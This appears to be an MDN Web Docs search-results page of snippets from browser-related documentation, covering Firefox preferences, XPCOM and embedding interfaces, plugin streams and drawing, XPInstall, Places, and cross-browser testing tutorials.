type:boolean default value: true exists by default: yes application support:firefox 6.0 status: active; last updated 2012-04-03 introduction: pushed to nightly on 2011-05-03 bugs: bug 451833 values true (default) the domain name including the top level domain is highlighted in the address bar by coloring it black and the other parts grey. false all parts of the url are given the same color: black. ...
browser.urlbar.trimURLs
type:boolean default value: true exists by default: yes application support:firefox 7.0 status: active; last updated 2012-04-03 introduction: pushed to nightly on 2011-06-23 bugs: bug 665580 values true (default) if the active url is exactly the domain name, the trailing slash (/) behind the top level domain will be hidden. if the address starts with http:// and neither starts with a ftp. subdomain nor contains @ (usually for ftp login information), the http:// prefix will be hidden. ...
nsIBrowserBoxObject
layout/xul/base/public/nsibrowserboxobject.idlscriptable please add a summary to this article. inherits from: nsicontainerboxobject last changed in gecko 1.9 (firefox 3) the boxobject belonging to a xul browser element implements this interface. note: please consider using nsicontainerboxobject instead. attributes attribute type description docshell nsidocshell read only. obsolete since gecko 1.9 the nsidocshell object that manages the contained document. the browser.xml binding uses this property to gain access to the webnavigation, contentdocument, contentwindow, webbrowserfind, webprogress and sessionhistory properties. ...
nsIWebBrowserChromeFocus
it represents the focus up-calls from mozilla to the embedding chrome. inherits from: nsisupports last changed in gecko 1.7 method overview void focusnextelement(); void focusprevelement(); methods focusnextelement() set the focus at the next focusable element in the chrome. void focusnextelement(); parameters none. focusprevelement() set the focus at the previous focusable element in the chrome. void focusprevelement(); parameters none. see also see bug 70224 for gratuitous information. ...
nsIXULBrowserWindow
xpfe/appshell/public/nsixulbrowserwindow.idlscriptable provides methods that may be called from the internals of the browser area to tell the containing xul window to update its user interface. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) the xulbrowserwindow attribute exists on the nsixulwindow interface although both firefox and seamonkey also store their nsixulbrowserwindow reference in the global xulbrowserwindow object accessible from javascript code. note: the xulbrowserwindow object offered to javascript code provides a great many more methods and attributes than those listed here, which are only the ones available to c++ code. see the documentation for xulbrowserwindow for details. method overview astring onbeforel...
Browser Differences - Web APIs
ie 5.0 and 5.5 (both windows) supported only the working draft of xslt, and thus are not compatible with xslt 1.0 stylesheets. netscape 6.x only partially supported xslt 1.0. ...
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
this article provides a set of mixins for those who want to mess around with flexbox using the native support of current browsers. this set uses: fallbacks using 2009 'box' syntax (ff and older webkit) and prefixed syntaxes (ie10, webkit browsers without flex wrapping) final standards syntax (ff, safari, chrome, ie11+, edge, opera) this was inspired by: http://dev.opera.com/articles/view/advanced-cross-browser-flexbox/ with help from: http://w3.org/tr/css3-flexbox/ http://the-echoplex.net/flexyboxes/ http://msdn.microsoft.com/en-us/library/ie/hh772069(v=vs.85).aspx http://css-tricks.com/using-flexbox/ a complete guide to flexbox | css-tricks visual guide to css3 flexbox: flexbox playground | note: mixins are not currently supported natively in browsers. instead, you will...
Index - Web APIs
Web › API › Index
ollowing rules. this can be somewhat controlled by setting the audionode.channelinterpretation property to speakers or discrete: 160 audionode.connect() api, audio, audionode, media, method, reference, web audio api, connect if the destination is a node, connect() returns a reference to the destination audionode object, allowing you to chain multiple connect() calls. in some browsers, older implementations of this interface return undefined. 161 audionode.context api, audionode, context, property, reference, web audio api the read-only context property of the audionode interface returns the associated baseaudiocontext, that is the object representing the processing graph the node is participating in. 162 audionode.disconnect() api, audio...
...b audio api, defaultvalue the defaultvalue read-only property of the audioparam interface represents the initial value of the attributes as defined by the specific audionode creating the audioparam. 170 audioparam.exponentialramptovalueattime() api, audioparam, method, reference, web audio api, exponentialramptovalueattime a reference to this audioparam object. in some browsers older implementations of this interface return void. 171 audioparam.linearramptovalueattime() api, audio, audioparam, method, reference, web audio api, linearramptovalueattime a reference to this audioparam object. in some browsers older implementations of this interface return void. 172 audioparam.maxvalue api, audio, audioparam, property, reference, web au...
... 207 audioworkletnode.onprocessorerror api, audio, audioworkletnode, audioworkletprocessor, event handler, property, reference, web audio api, onprocessorerror the onprocessorerror property of the audioworkletnode interface defines an event handler function to be called when the processorerror event fires. this occurs when the underlying audioworkletprocessor behind the node throws an exception in its constructor, the process method, or any user-defined class method. 208 audioworkletnode.parameters api, audio, audioparam, audioworkletnode, experimental, property, reference, web audio api the read-only parameters property of the audioworkletnode interface returns the associated audioparammap — that is, a map-like collection of audioparam objects. they ...
...And 268 more matches
Index - Archive of obsolete content
found 3833 pages: # page tags and summary 1 archive of obsolete content archive, landing here at mdn, we try to avoid outright deleting content that might be useful to people targeting legacy platforms, operating systems, and browsers. perhaps your target audience is people that are using older hardware, for example, and can't upgrade to the latest and greatest browsers. or for "reasons," your company is required to use very old software and you need to build web content that runs on that software. or perhaps you're just curious about the history of an obsolete feature or api, and how it worked. 2 .htaccess ( hypertext access ) 301 redirect, cache control, custom error pages, htaccess, permanent redirect, redirect file accessing : htac...
...rn. 50 page-worker add-on sdk create a permanent, invisible page and access its dom. 51 panel add-on sdk, add-ons, extensions creates transient dialogs to implement part of an add-on's user interface. 52 passwords add-on sdk interact with firefox's password manager to add, retrieve and remove stored credentials. 53 private-browsing add-on sdk check whether a given object is private, so an add-on can respect private browsing 54 querystring add-on sdk utility functions for working with query strings. 55 request needsupdate, sdk, add-on make simple network requests. 56 selection add-on sdk get and set text and html selections in the current web page. ...
...ic timers. 63 ui add-on sdk, add-ons, extensions, reference provides access to button, toolbar, and sidebar ui objects. 64 url add-on sdk construct, validate, and parse urls. 66 widget add-on sdk create a simple user interface for an add-on in firefox's add-on bar. 67 windows add-on sdk enumerate and examine open browser windows, open new windows, and listen for window events. 68 low-level apis no summary! 69 /loader create commonjs module loaders. 70 chrome the chrome module gives an add-on sdk add-on access to the components object, which in turn gives it access to a large set of privileged low-level firefox apis. 71 console/plain-te...
...And 160 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
the accessibility tree, or accessibility object model (aom), contains accessibility-related information for most html elements. 13 adobe flash adobe, codingscripting, flash, glossary, infrastructure flash is an obsolescent technology developed by adobe for viewing expressive web applications, multimedia content, and streaming media. adobe flash can run from supporting web browsers via a browser plug-in. 14 ajax ajax, codingscripting, glossary, infrastructure, l10n:priority ajax, which initially stood for asynchronous javascript and xml, is a programming practice of building complex, dynamic webpages using a technology known as xmlhttprequest. 15 algorithm codingscripting, glossary an algorithm is a self-contained series of instr...
... in a typical image file, the color channels describe how much red, green, and blue are used to make up the final color. to represent a color through which the background can be seen to some extent, a fourth channel is added to the color: the alpha channel. the alpha channel specifies how opaque the color is. 19 apple safari glossary, navigation, webmechanics safari is a web browser developed by apple and bundled with both macos and ios. it's based on the open source webkit engine. 20 application context codingscripting, glossary an application context is a top-level browsing context that has a manifest applied to it. 21 argument codingscripting, glossary, javascript an argument is a value (primitive or object) passed as input to a...
... glossary, javascript, reference, arbitrary precision format in javascript, bigint is a numeric data type that can represent integers in the arbitrary precision format. in other programming languages different numeric types can exist, for examples: integers, floats, doubles, or bignums. 31 blink glossary, infrastructure, layout, rendering engine blink is an open-source browser layout engine developed by google as part of chromium (and therefore part of chrome as well). specifically, blink began as a fork of the webcore library in webkit, which handles layout, rendering, and dom, but now stands on its own as a separate rendering engine. 32 block disambiguation, glossary the term block can have several meanings depending on the context. it may refe...
...And 72 more matches
Handling common JavaScript problems - Learn web development
previous overview: cross browser testing next now we'll look at common cross-browser javascript problems and how to fix them. this includes information on using browser dev tools to track down and fix problems, using polyfills and libraries to work around problems, getting modern javascript features working in older browsers, and more. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high-level principles of cross browser testing. objective: to be able to diagnose common javascript cross-browser problems, and use appropriate tools and techniques to fix them. ...
...rowsers, and more. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high-level principles of cross browser testing. objective: to be able to diagnose common javascript cross-browser problems, and use appropriate tools and techniques to fix them. ...
... the core html, css, and javascript languages; an idea of the high-level principles of cross browser testing. objective: to be able to diagnose common javascript cross-browser problems, and use appropriate tools and techniques to fix them. ...
...And 54 more matches
Introduction to automated testing - Learn web development
previous overview: cross browser testing next manually running tests on several browsers and devices, several times per day, can get tedious, and time-consuming. to handle this efficiently, you should become familiar with automation tools. in this article, we look at what is available, how to use task runners, and how to use the basics of commercial browser test automation apps such as lambdatest, sauce labs, browserstack, and testingbot. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross-browser testing. objective: to provide an understanding of what automated testing entails, how it can make your life easier, and how to make use of some of the commercial products that make th...
...testing. objective: to provide an understanding of what automated testing entails, how it can make your life easier, and how to make use of some of the commercial products that make things easier. automation makes things easy throughout this module we have detailed loads of different ways in which you can test your websites and apps, and explained the sort of scope your cross-browser testing efforts should have in terms of what browsers to test, accessibility considerations, and more. sounds like a lot of work, doesn't it? we agree — testing all the things we've looked at in previous articles manually can be a real pain. fortunately, there are tools to help us automate some of this pain away. there are two main ways in which we can automate the tests we've been talking a...
...ate some of this pain away. there are two main ways in which we can automate the tests we've been talking about in this module: use a task runner such as grunt or gulp, or npm scripts to run tests and clean up code during your build process. ...
...And 45 more matches
Handling common HTML and CSS problems - Learn web development
previous overview: cross browser testing next with the scene set, we'll now look specifically at the common cross-browser problems you will come across in html and css code, and what tools can be used to prevent problems from happening, or fix problems that occur. this includes linting code, handling css prefixes, using browser dev tools to track down problems, using polyfills to add support into browsers, tackling responsive design problems, and more. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross browser testing. objective: to be able to diagnose common html and css cross browser problems, and use appropriate tools and techniques to fix them. the trouble with html and css s...
... seriously, in terms of making sure the code is well-crafted, efficient, and semantically describes the purpose of the features on the page. in the worst cases, javascript is used to generate the entire web page content and style, which makes your pages inaccessible, and less performant (generating dom elements is expensive). ...
...s, javascript is used to generate the entire web page content and style, which makes your pages inaccessible, and less performant (generating dom elements is expensive). in other cases, nascent features are not supported consistently across browsers, which can make some features and styles not work for some users. responsive design problems are also common — a site that looks good in a desktop browser might provide a terrible experience on a mobile device, because the content is too small to read, or perhaps the site is slow because of expensive animations. let's go forth and look at how we can reduce cross browser errors that result from html/css. first things first: fixing general problems we said in the first article of this series that a good strategy to begin with is to test in a cou...
...And 42 more matches
Setting up your own test automation environment - Learn web development
previous overview: cross browser testing in this article, we will teach you how to install your own automation environment and run your own tests using selenium/webdriver and a testing library such as selenium-webdriver for node. we will also look at how to integrate your local testing environment with commercial tools like the ones discussed in the previous article. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high-level principles of cross browser testing, and automated testing. objective: to show how to set up a selenium testing environment locally and run tests with it, and how to integrate it with tools like lambdatest, sauce labs, and browserstack. selenium selenium is the most popular brow...
...this is ideal for running automated tests. ...
...ronment you want to use to write and run your tests. most popular environments have available a package or framework that will install webdriver and the bindings required to communicate with webdriver using this language, for example, java, c#, ruby, python, javascript (node), etc. see setting up a selenium-webdriver project for more details of selenium setups for different languages. different browsers require different drivers to allow webdriver to communicate with and control them. see platforms supported by selenium for more information on where to get browser drivers from, etc. we will cover writing and running selenium tests using node.js, as it is quick and easy to get started, and a more familiar environment for front end devs. note: if you want to find out how to use webdriver wit...
...And 41 more matches
Gecko Compatibility Handbook - Archive of obsolete content
** notes ** - the solution quick reference needs more attention. - i'm also looking for a way to organize all that information. - some inline examples were removed because of technical limitations. they are actually replaced by ''-(example removed)-'' the goal of this handbook is to help you update websites to work with standards-based browsers and properly detect gecko. if you're new to standards, you may find using web standards in your web pages a helpful introduction. gecko is an embeddable browser, developed as part of the mozilla open source project and based on w3 standards rather than the proprietary approaches of the past. adhering to web standards simplifies cross-browser web development and enables accessibility. 4.x vs. gecko since 1997, much of the web's content has be...
...n. gecko is an embeddable browser, developed as part of the mozilla open source project and based on w3 standards rather than the proprietary approaches of the past. adhering to web standards simplifies cross-browser web development and enables accessibility. 4.x vs. gecko since 1997, much of the web's content has been developed for microsoft internet explorer 4 or netscape navigator 4. these browsers were developed before the relevant w3c recommendations for html, css, and the dom existed. these earlier, non-standards based browsers differed in several ways from gecko: these browsers use proprietary (non-standard) html, css, and javascript. internet explorer 4 and netscape navigator 4 share support for a large part of the html 3.2 standard and basic javascript. while they support the...
...use proprietary (non-standard) html, css, and javascript. internet explorer 4 and netscape navigator 4 share support for a large part of the html 3.2 standard and basic javascript. while they support the css 1 standard to some degree, the implementations are not complete and have non-standard features added. neither internet explorer 4 or netscape navigator 4 support the w3 dom. instead, each browser supports its own proprietary api for manipulating the content, style and position of html elements in a web page. in addition, internet explorer 4 and netscape navigator 4 use completely different methods of embedding third-party software into the browser. gecko is a cross-platform browser engine, compatible with a number of windows versions including windows xp, as well as mac and linux. be...
...And 39 more matches
Index - Archive of obsolete content
Archive › Mozilla › XUL › Index
no summary! 25 autofill xul attributes, xul reference no summary! 26 autoscroll xul attributes, xul reference no summary! 27 backdrag xul, xul attribute no summary! 28 beforeselected xul attributes, xul reference no summary! 29 bottom xul attribute, xul reference no summary! 30 browser.type xul attributes, xul reference type: one of the values below.the type of browser, which can be used to set access of the document loaded inside the browser. 31 browserid xul, xul reference no summary! 32 button.type xul attributes, xul reference no summary! 33 buttonaccesskeyaccept xul attributes, xul reference no summ...
... 57 close xul attributes, xul reference no summary! 58 closebutton xul attributes, xul reference no summary! 59 closemenu xul attributes, xul reference no summary! 60 coalesceduplicatearcs xul attributes, xul reference no summary! 61 collapse xul attri...
...ference no summary! 181 matchcaseaccesskey no summary! 182 max xul attributes, xul reference no summary! 183 maxheight xul attributes, xul reference no summary! 184 maxlength xul attributes, xul reference no summary! 185 maxpos xul attributes, xul reference no summary! 186 maxrows xul attributes, xul reference no summary! 187 maxwidth xul attributes, xul reference no summary! 188 member xul attributes, xul reference no summary! 189 menu xul attributes, xul reference no summary! 190 menuactive xul attributes, xul reference no summary! 191 menuitem.key xul attributes,...
...And 38 more matches
Theme changes in Firefox 2 - Archive of obsolete content
this article covers the changes that need to be made to update a firefox theme to work properly in firefox 2. note: we could use an article called updating themes for firefox 2 that would serve as a how-to guide for updating themes. if anyone with theming experience would like to write one, please do! browser changes requiring theme updates there are a number of changed and deleted files in the browser that may require you to make changes to your theme. the table lists both the changed xul file and the theme's corresponding css file that you might need to update. filename css file details browser/base/searchdialog.xul browser/base/content/searchdialog.css removed from firefox 2. feeds/addfeedreader.xul feeds/addfeedreader.css new file that p...
...rom firefox 2. feeds/addfeedreader.xul feeds/addfeedreader.css new file that presents ui for adding a new feed reader. feeds/subscribe.xhtml feeds/subscribe.css new file that presents the ui for subscribing to an rss feed. preferences/downloads.xul - removed from firefox 2. preferences/general.xul - removed from firefox 2. safebrowsing/warning-overlay.xul safebrowsing/browser-protection.css new file containing the overlay that's drawn over the browser when you browse to a suspected phishing site. search/enginemanager.xul enginemanager.css new file containing the ui for the search engine manager window. toolkit/mozapps/preferences/fontscaling.xul - removed from firefox 2. changes to ...
...taining the ui for the search engine manager window. toolkit/mozapps/preferences/fontscaling.xul - removed from firefox 2. changes to the default theme the table below lists all the changes made in the default theme for firefox 2; you can use this information as a starting point for figuring out the changes you need to make. ...
...And 38 more matches
Index - Learn web development
odule learning some html, css, and javascript is useful if you want to become a web developer. beyond mechanical use, it's important to learn how to use these technologies responsibly so that all readers might use your creations on the web. to help you achieve this, this module will cover general best practices (which are demonstrated throughout the html, css, and javascript topics), cross browser testing, and some tips on enforcing accessibility from the start. we'll cover accessibility in special detail. 3 accessible multimedia accessibility, article, audio, beginner, codingscripting, html, images, javascript, learn, multimedia, video, captions, subtitles, text tracks this chapter has provided a summary of accessibility concerns for multimedia content, along with s...
...and navigating to the html file. there are many ways to achieve this. 21 how do you upload your files to a web server? beginner, ftp, github, uploading, webmechanics, hosting, rsync, sftp if you have built a simple web page (see html basics for...
...and navigating to the html file. ...
...And 37 more matches
HTTP Index - HTTP
Web › HTTP › Index
this page lists all mdn http pages along with their summary and tags. found 277 pages: # page tags and summary 1 http http, hypertext, reference, tcp/ip, web, web development, l10n:priority hypertext transfer protocol (http) is an application-layer protocol for transmitting hypermedia documents, such as html. it was designed for communication between web browsers and web servers, but it can also be used for other purposes. http follows a classical client-server model, with a client opening a connection to make a request, then waiting until it receives a response. http is a stateless protocol, meaning that the server does not keep any data (state) between two requests. though often based on a tcp/ip layer, it can be used on any reliable transport layer, th...
... suitable alternative. 2 a typical http session http in client-server protocols, like http, sessions consist of three phases: 3 an overview of http html, http, overview, webmechanics, l10n:priority http isthe foundation of any data exchange on the web and it is a client-server protocol, which means requests are initiated by the recipient, usually the web browser. a complete document is reconstructed from the different sub-documents fetched, for instance text, layout description, images, videos, scripts, and more 4 basics of http guide, http, overview http is a pretty extensible protocol. it relies on a few basic concepts like the notion of resources and uris, a simple structure of messages, and a client-server structure for the com...
... 10 incomplete list of mime types audio, file types, files, http, mime, mime types, php, reference, text, types, video here is a list of mime types, associated by type of documents, ordered by their common extensions. ...
...And 37 more matches
List of Mozilla-Based Applications - Archive of obsolete content
ry server ldap server uses nss a380 seatback entertainment system media software this blog post mentions a reference to mozilla being used but i couldn't find more information about it. ...
...ed to use nss with mod_nss ssl module apicawatch site performance monitoring tool uses firefox as part of its monitoring package astyle css editor editing tool atmail webmail client aviva for java mainframe connectivity product uses mozilla rhino babelgum internet tv service basilisk pre-servo xul-based web browser uses most of the firefox 55 source code batik java-based toolkit uses mozilla rhino bitbox security focused browser seemingly based on firefox blackbird browser for african american community bluegriffon wysiwyg editor next generation version of composer buzzbird twitter client built on xulrunner camino b...
...er uses most of the firefox 55 source code batik java-based toolkit uses mozilla rhino bitbox security focused browser seemingly based on firefox blackbird browser for african american community bluegriffon wysiwyg editor next generation version of composer buzzbird twitter client built on xulrunner camino browser 2.5m downloads and ~400,000 active users ... ...
...And 35 more matches
Strategies for carrying out testing - Learn web development
previous overview: cross browser testing next this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross-browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross-browser testing. objective: to gain an understanding of the high-level concepts involved in cross-browser testing. gotta test 'em all? when doing cross-browser testing, you need to work out a list of browsers you will need to test on to start with. there is no way you can test on e...
...css, and javascript languages; an idea of the high level principles of cross-browser testing. objective: to gain an understanding of the high-level concepts involved in cross-browser testing. gotta test 'em all? when doing cross-browser testing, you need to work out a list of browsers you will need to test on to start with. there is no way you can test on every combination of browser and device your users might use to view your site — there are just too many, and new ones appear all the time. instead, you should try to make sure your site works on the most important target browsers and devices, and then code defensively to give your site the widest support reach it can be expected to have. by coding defensively, we mean trying to build in intelligent fallbacks so that i...
...ew your site — there are just too many, and new ones appear all the time. instead, you should try to make sure your site works on the most important target browsers and devices, and then code defensively to give your site the widest support reach it can be expected to have. by coding defensively, we mean trying to build in intelligent fallbacks so that if a feature or style doesn't work in a browser, the site will be able to downgrade to something less exciting that still provides an acceptable user experience — the core information is still accessible, for example, even if it doesn't look quite as nice. the aim is to build up a chart of browsers/devices you can refer to as you test. you can make this as simple or as complex as you like — for example a common approach is to have multi...
...And 33 more matches
Streams - Plugins
« previousnext » this chapter describes using plug-in api functions to receive and send streams. streams are objects that represent urls and the data they contain, or data sent by a plug-in without an associated url. although a single stream is associated with one specific instance of a plug-in, a plug-in can have more than one stream object per instance. ...
... send streams. streams are objects that represent urls and the data they contain, or data sent by a plug-in without an associated url. although a single stream is associated with one specific instance of a plug-in, a plug-in can have more than one stream object per instance. streams can be produced by the browser and consumed by a plug-in instance, or produced by an instance and consumed by the browser. ...
...ciated url. although a single stream is associated with one specific instance of a plug-in, a plug-in can have more than one stream object per instance. streams can be produced by the browser and consumed by a plug-in instance, or produced by an instance and consumed by the browser. each stream has an associated mime type identifying the format of the data in the stream. streams produced by the browser can be automatically sent to or requested by the plug-in instance. the browser calls the plug-in methods npp_newstream, npp_writeready, npp_write, and npp_destroystream to, respectively, create a stream, find out how much data the plug-in can handle, push data into the stream, and delete it. the plug-in instance selects a transmission mode for streams produced by the browser. stream data can b...
...And 32 more matches
HTML documentation index - HTML: Hypertext Markup Language
Web › HTML › Index
select and access specific elements via the class selectors or functions like the dom method document.getelementsbyclassname. 11 contenteditable editing, global attributes, html, reference, text editing, contenteditable, text entry, text input the contenteditable global attribute is an enumerated attribute indicating if the element should be editable by the user. if so, the browser modifies its widget to allow editing. 12 contextmenu deprecated, global attributes, html, reference, contextmenu the contextmenu global attribute is the id of a <menu> to use as the contextual menu for this element. 13 data-* global attributes, html, reference the data-* global attributes form a class of attributes called custom data attributes, that al...
...resentation by scripts. 14 dir bidi, global attributes, html, reference the dir global attribute is an enumerated attribute that indicates the directionality of the element's text. 15 draggable global attributes, html, reference the draggable global attribute is an enumerated attribute that indicates whether the element can be dragged, either with native browser behavior or the html drag and drop api. 16 dropzone deprecated, global attributes, html, reference the dropzone global attribute is an enumerated attribute indicating what types of content can be dropped on an element, using the html drag and drop api. it can have the following values: 17 hidden global attributes, html, reference the hidden global attri...
...the keyword any. 51 the html autocomplete attribute addresses, attribute, email addresses, forms, html, input, phone numbers, reference, select, text, usernames, autocomplete, form, passwords, textarea autocomplete lets web developers specify what if any permission the user agent has to provide automated assistance in filling out form field values, as well as guidance to the browser as to the type of information expected in the field. 52 disabled attribute, attributes, constraint validation, forms, required the boolean disabled attribute, when present, makes the element not mutable, focusable, or even submitted with the form. the user can neither edit nor focus on the control, nor it's form control descendants. 53 html documentation index ...
...And 31 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
try to avoid using it. draft this page is not complete. « previousnext » this document was authored by taiga (gomita) gomibuchi and was originally published in japanese for the firefox developers conference summer 2007. gomita-san won "most useful upgraded extension" award in mozilla's 2006 "extend firefox" competition for scrapbook, and was runner-up in the "extend firefox 2" contest for firegestures. the chapters so far have each focused on technologies in isolation—xul, javascript, css, and xpcom. ...
... by teesoft). setting up your development environment in order to develop (and test) extensions in a most convenient way it is recommended to apply some changes to firefox. in the following you will find a brief description how to do so; a more detailed one can be found under setting up an extension development environment. create a development profile if you want to partition your everyday browsing environment from your development environment in firefox, set up a second profile for development. to create this dev profile start firefox with firefox.exe -no-remote -p dev on the first start the profile manager will appear, where you can create the dev profile and configure its home-path. change your preferences for more efficient development before you get to work developing your exten...
...end it as a way to work more efficiently. preference description value nglayout.debug.disable_xul_cache (not present in firefox 3.5+) ordinarily, firefox will cache xul documents after they have been read in once, to speed subsequent displays. disabling this cache forces xul documents to be reloaded any every time they are displayed. true browser.dom.window.dump.enabled (not present in firefox 3.5+) enables use of the dump method for debugging. refer to the “javascript debugging methods” sidebar. true javascript.options.showinconsole (present in firefox 3.5+) outputs javascript errors to the error console. true javascript.options.strict (present in firefox 3.5+) enforces strict error out...
...And 30 more matches
Drawing and Event Handling - Plugins
ne the plug-in itself. a windowed plug-in is drawn into its own native window (or portion of a native window) on a web page. a windowed plug-in is opaque, hiding the part of the page beneath its display window. this type of plug-in determines when it draws itself. a windowless plug-in does not require a native window. it is drawn in a target called a drawable, which corresponds to either the browser window or an off-screen bitmap. a drawable can be defined in several ways, depending on the platform. windowless plug-ins can be opaque or transparent. a windowless plug-in draws itself only in response to a paint message from the browser. for information about the way html determines plug-in display mode, see using html to display plug-ins. note: windowless plug-ins were not supported on t...
...e represents either the native window or a drawable. this structure contains information about coordinate position, size, the state of the plug-in (windowed or windowless), and some platform-specific information. note: when a plug-in is drawn to a window, the plug-in is responsible for preserving state information and ensuring that the original state is restored. for windowless plug-ins, the browser calls the npp_setwindow method with an npwindow structure that represents a drawable. for windowed plug-ins, the browser calls the npp_setwindow method with an npwindow structure that represents a window. //the npwindow structure typedef enum { npwindowtypewindow = 1, npwindowtypedrawable } npwindowtype; typedef struct _npwindow { void* window; /* platform-specific handle */ ui...
...on mac os, window is a pointer to an np_port. the x and y fields specify the top-left corner of the plug-in relative to the page. the width and height fields specify the dimensions of the plug-in area. these values should not be modified by the plug-in. the cliprect field defines the clipping rectangle of the plug-in in a coordinate system where the orig...
...And 30 more matches
Index
Mozilla › Tech › XPCOM › Index
, xpcom this function provides a safe way to expose a function from a privileged scope to a less-privileged scope. 37 components.utils.forcegc needscontent, xpcom, xpcom:language bindings, xpconnect components.utils.forcegc lets scripts force a garbage collection cycle. the mozilla javascript engine will perform garbage collection automatically when the javascript heap grows beyond a certain size. this mechanism doesn't account for any native (c++) xpcom objects hanging off javascript objects though. in many cases a javascript application will have internal knowledge of javascript objects referencing large (trees of) xpcom objects and know when they are no longer reachable. in this case it can be important to be able to force a garbage collection cycle from javascrip...
...ting weblock xpcom in this chapter, we begin to design and implement the web locking functionality itself. we have already created a module that implements most of the generic component functionality (e.g. registration). this chapter will focus on the functionality that actually handles the web locking. 111 using xpcom components xpcom applications like the mozilla browser are sophisticated, modularized clients of xpcom components. in fact, virtually all of the functionality that you associate with a browser - navigation, window management, managing cookies, bookmarks, security, searching, rendering, and other features - is defined in xpcom components and accessed by means of those component interfaces. mozilla is made of xpcom components. 112 using xp...
...this macro is meant for critical errors; like assertions, ns_errors should not be reachable. 148 ns_if_addref xpcom, xpcom_macros macro 149 ns_if_release xpcom, xpcom_macros macro 150 ns_release xpcom, xp...
...And 29 more matches
Overview of Mozilla embedding APIs
ger exposes all of the available xpcom services - each service represents a global object which provides some piece of functionality. the component manager allows new instances of registered xpcom components to be instantiated. the embedding layer consists of several components built on top of xpcom and its services. much of the gecko functionality is exposed through a component called the nswebbrowser. embedding applications can leverage this component to easily access many of gecko's features. each webbrowser instance represents the "client-area" of a typical browser window. the webbrowser exposes a set of interfaces which allow the embedding application to control activity and respond to changes within this client area. using these interfaces an embedding application can build up its own u...
... public classes the following utility classes are available from the xpcom dll. they provide some basic functionality which should be leveraged when building new xpcom components. nscomptr<interface-type> these are templatized smart pointers which transparently deal with xpcom reference counting issues. ...
...nch related interfaces: nsipreflistener profile manager service contract-id: implemented interfaces: document loader service (webprogress) eventually, this service will be replaced by thewebprogress service... contract-id: ns_document_loader_service_contractid implemented interfaces: nsiwebprogress nsidocumentloader related interfaces: nsiwebprogresslistener public components nswebbrowser the nswebbrowser is the main embedding component which gecko exposes. conceptually, each nswebbrowser instance represents a html content area. conceptually, for each document being rendered, gecko creates a container called a domwindow. each webbrowser exposes a tree of domwindows - representing the frame hierarchy for the current document. as such, access to individual document frames is done ...
...And 28 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
introduction when netscape started the mozilla browser, it made the conscious decision to support w3c standards. as a result, mozilla is not fully backwards-compatible with netscape navigator 4.x and microsoft internet explorer legacy code; for example, mozilla does not support <layer> as i will discuss later. browsers, like internet explorer 4, that were built before the conception of w3c standards inherited many quirks. in this article, i will describe mozilla's quirks mode, which provides strong backwards html compatibility with internet explorer and other legacy browsers. i'll also cover nonstandard technologies, such as xmlhttprequest and rich text editing, that mozilla does support because no w3c equivalent existed at the time. they include: html 4.01, xhtml 1.0 and xhtml 1.
... before i go into the differences between mozilla and internet explorer, i'll cover some basic wa...
... before i go into the differences between mozilla and internet explorer, i'll cover some basic ways you can make a web application extensible in order to add new br...
...And 27 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
deprecated and as of gecko 1.9 no longer available. extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest. in particular plugin developers should see how to package a plugin as an extension. xpinstall is a javascript-based installer technology that works across all the platforms that mozilla and netscape browsers based on mozilla (such as netscape 7) are deployed. it can be a way to ensure a smooth user-experience when obtaining plugins, without obliging the user to exit the browsing environment to launch a binary installer (the classic setup.exe experience on windows) or obliging the user to restart their browser. for plugin vendors who have already written a native code (e.g. exe) installer, xpinstal...
...mooth user-experience when obtaining plugins, without obliging the user to exit the browsing environment to launch a binary installer (the classic setup.exe experience on windows) or obliging the user to restart their browser. for plugin vendors who have already written a native code (e.g. exe) installer, xpinstall can wrap this native installer and run it so that the user never has to leave the browsing environment and click on the exe to run it. this article presents a guideline for improving the plugin installation experience for netscape gecko browsers using xpinstall. a definition of terms xpinstall is an installer technology, and the name itself stands for "cross platform install" (hence "xp" -- an abbreviation for "cross platform"). an xpinstall package is usually called an xpi packa...
...an xpi package is in fact a zip file with the xpi file extension (e.g. myplugininstaller.xpi), and can be created on windows by utilities such as winzip. xpi packages, like zip files, "contain" other files, typically: the software component to be installed. in our case, this is the plugin software. ...
...And 27 more matches
Places Developer Guide
this document is for extension and application developers who want to use the bookmarks and history apis in firefox 3. it provides code samples for many common use-cases, such as crud operations, searching, and observing. overview places is the umbrella term for a set of apis for managing browsing history and uri metadata first introduced in firefox 3. it encompasses history, bookmarks, tags, favicons, and annotations. ...
...asses history, bookmarks, tags, favicons, and annotations. there are two models of identity in the system: uris, and unique integer identifiers for items in the bookmark system. some of the apis are uri-centric, some use item ids. the api signature and context usually make clear which is required. bookmarks the toolkit bookmarks service is nsinavbookmarksservice: var bookmarks = cc["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(ci.nsinavbookmarksservice); this service provides methods for adding, editing and deleting items in the bookmarks collection. types in the bookmark system there are the four types of items in the bookmarks system, and their identifiers in the idl: bookmark: nsinavbookmarksservice.type_bookmark folder: nsinavbookmarksservice.type_folder...
...rvice.unfiledbookmarksfolder - items that have been "starred", but not places in any folder. nsinavbookmarksservice.tagsfolder - subfolders of this folder are tags, and their children are uris that have been tagged with that folder's name. other bookmarks apis note: this document covers the toolkit places services. ...
...And 27 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
